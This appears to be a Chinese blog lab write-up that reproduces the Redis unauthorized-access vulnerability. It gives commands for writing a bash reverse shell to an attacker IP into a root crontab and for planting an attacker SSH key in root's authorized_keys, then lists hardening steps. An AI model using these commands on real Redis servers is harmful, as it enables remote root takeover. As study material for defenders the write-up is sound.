当前位置:   article > 正文

漏洞复现之Redis未授权访问_redis未授权访问漏洞修复建议

redis未授权访问漏洞修复建议

目录

Redis介绍

Redis命令介绍

漏洞原理

复现过程

环境搭建

靶机安装redis服务器

下载redis-4.0.10

解压

编译

关闭防火墙

启动服务

关闭远程登录保护

攻击机安装redis客户端(redis cli)

下载redis-4.0.10

解压

编译

测试redis cli是否安装成功

漏洞利用

写入crontab计划任务getshell

写入SSH公钥getshell

原理

步骤

攻击机生成密钥对

将公钥文件写入目标机

漏洞防护


Redis介绍

Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库。

Redis 与其他 key - value 缓存产品有以下三个特点:

  • Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
  • Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。
  • Redis支持数据的备份,即master-slave模式的数据备份。

Redis命令介绍

查看版本信息 127.0.0.1:6379> info

清空所有Redis数据库的所有key 慎用 127.0.0.1:6379> flushall

设置Redis本地存储的文件夹 127.0.0.1:6379> config set dir [PATH]

设置Redis本地存储的和文件名127.0.0.1:6379> config set dbfilename [FILENAME]

将当前Redis实例所有数据快照以RDB文件的形式保存到硬盘 127.0.0.1:6379> save

漏洞原理

未授权访问漏洞是一个由于redis服务版本较低其未设置登录密码导致的漏洞。

漏洞成因:

1、redis版本为4.x/5.0.5或以前的版本

2、redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

3、没有设置密码认证(一般为空),可免密码远程登录redis服务

复现过程

环境搭建

kali(攻击机):192.168.240.128

ubuntu(目标机):192.168.240.131

靶机安装redis服务器
下载redis-4.0.10

wget http://download.redis.io/releases/redis-4.0.10.tar.gz

解压

tar -zxf redis-4.0.10.tar.gz

编译

make install

出现这样的界面表示安装成功

关闭防火墙

sudo ufw status //查看ufw状态

sudo ufw disable //关闭ufw

iptables -L// 查看iptables规则

iptables -F// 清空iptables规则

防火墙关闭

启动服务

cd redis-4.0.10

redis-server ./redis.conf //切记一定得用配置文件开启服务,否则无法关闭远程登录保护

ps -aux | gerp "redis"

到此目标机redis服务启动成功

关闭远程登录保护

由于redis-4.0.10默认开启了远程登录保护,所以我们需要关闭该设置

cd /home/kali/Desktop/redis-4.0.10/

vi redis.conf

把下面这些添加在里面

bind 0.0.0.0

protected-mode no

然后将其他关于bind和protected-mode的设置前面都加上“#”进行注释

结束后,在命令行输入:

cat redis.conf | grep "bind"

cat redis.conf | grep "protected-mode"

只有上面添加的两条设置未被注释,设置就成功了

攻击机安装redis客户端(redis cli)
下载redis-4.0.10

wget http://download.redis.io/releases/redis-4.0.10.tar.gz

解压

tar -zxvf redis-4.0.10.tar.gz redis-4.0.10

编译

cd  redis-4.0.10

make install

测试redis cli是否安装成功

./redis_cli -h 192.168.240.131 //前提:攻击机远程登录保护关闭

没有信息可以在命令行输入:info

到此实验环境搭建成功,并且已经成功利用redis未授权访问漏洞,未使用密码就登录了目标主机的redis服务,接下来将开始展示关于redis未授权访问漏洞的利用步骤。

漏洞利用

写入crontab计划任务getshell

crontab 是一个用于在Linux和Unix系统上安排和管理定期执行的任务的命令行工具。

crontab文件保存在/var/spool/cron目录下,只要我们使用远程Redis服务将反弹shell的命令写入计划任务文件中,他就会定期执行一次反弹shell命令

反弹shell命令:/bin/bash -i > /dev/tcp/192.168.240.128/8888 0>&1

计划任务:* * * * * /bin/bash -i > /dev/tcp/192.168.240.128/8888 0>&1

设置Redis本地存储的文件夹和文件名

config set dir /var/spool/cron/crontabs

config set dbfilename root

set x "* * * * * /bin/bash -i > /dev/tcp/192.168.240.128/8888 0>&1"

save

在kali监听8888端口

nc -lvnp 8888

等待一段时间,反弹shell会自动连接

复现到这里发现反弹shell失败,查询了一下资料发现

首先,根据系统不同,crontab存放文件目录不同

Centos的定时任务文件在/var/spool/cron/root

Ubuntu定时任务文件在/var/spool/cron/crontabs/root

共有定时任务文件在/etc/crontab

但是在ubuntu中由于root权限的redis创建的文件权限是644,但Ubuntu要求在/var/spool/cron/crontabs/中执行定时任务的文件权限必须是600,如果写入/etc/crontab,因为存在乱码,所以ubuntu无法正确执行。

我们登上

写入SSH公钥getshell
原理

SSH(Secure Shell)是一种用于远程连接到计算机和安全传输数据的协议。SSH通过加密通信来确保连接的安全性。SSH使用密钥对(公钥和私钥)来进行身份验证和加密通信。

公钥:公钥通常存储在远程服务器上,以允许你通过SSH连接到该服务器。

私钥:私钥通常存储在你的本地计算机上,用于对SSH连接进行身份验证

可以使用私钥对保存有公钥的远程服务器进行无需密码的远程登录,这个就是写入SSH公钥getshell的原理。

所以我们要做的就是在kali中生成密钥对,将公钥通过远程Redis服务写入到目标主机的/root/.ssh目录下的authorized_keys文件中

接下来进行实验

步骤

首先在目标机中运行的Redis服务必须是root权限,否则无法对ssh存储公钥的路径进行访问

攻击机生成密钥对

ssh-keygen -t rsa

生成的密钥对存放在/root/.ssh/目录下

其中id_rsa是生成的秘钥,id_rsa.pub是生成的公钥,我们需要将id_rsa.pub写入目标主机中

将公钥文件写入目标机

查看公钥内容

cat id_rsa.pub

设置redis本地存储的文件夹和文件名

config set dir /root/.ssh/

config set dbfilename authorized_keys

设置需要保存的值

set x "\n\n\n公钥内容\n\n\n"//   \n是换行,不然ssh连接会失败

将当前Redis实例所有数据快照以RDB文件的形式保存到硬盘

save

写入成功,接下来就可以使用秘钥远程连接ssh

ssh -i id_rsa root@192.168.240.131

可以看到连接成功并且权限为root权限

注意:SSH连接的前提是目标机开启了SSH服务,如果对方22号端口未开启,这个方法是无法使用的

写入SSH公钥getshell到此结束

漏洞防护

1、低权限运行redis,为redis创建单独的用户和用户组

groupadd -r redis && useradd -r -g redis redis

2、为Redis添加密码验证

修改redis.conf文件

requirepass mypassword

3、禁止外网访问 Redis

修改redis.conf

bind 127.0.0.1

Redis未授权漏洞复现到此结束。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/weixin_40725706/article/detail/754974
推荐阅读
相关标签
  

闽ICP备14008679号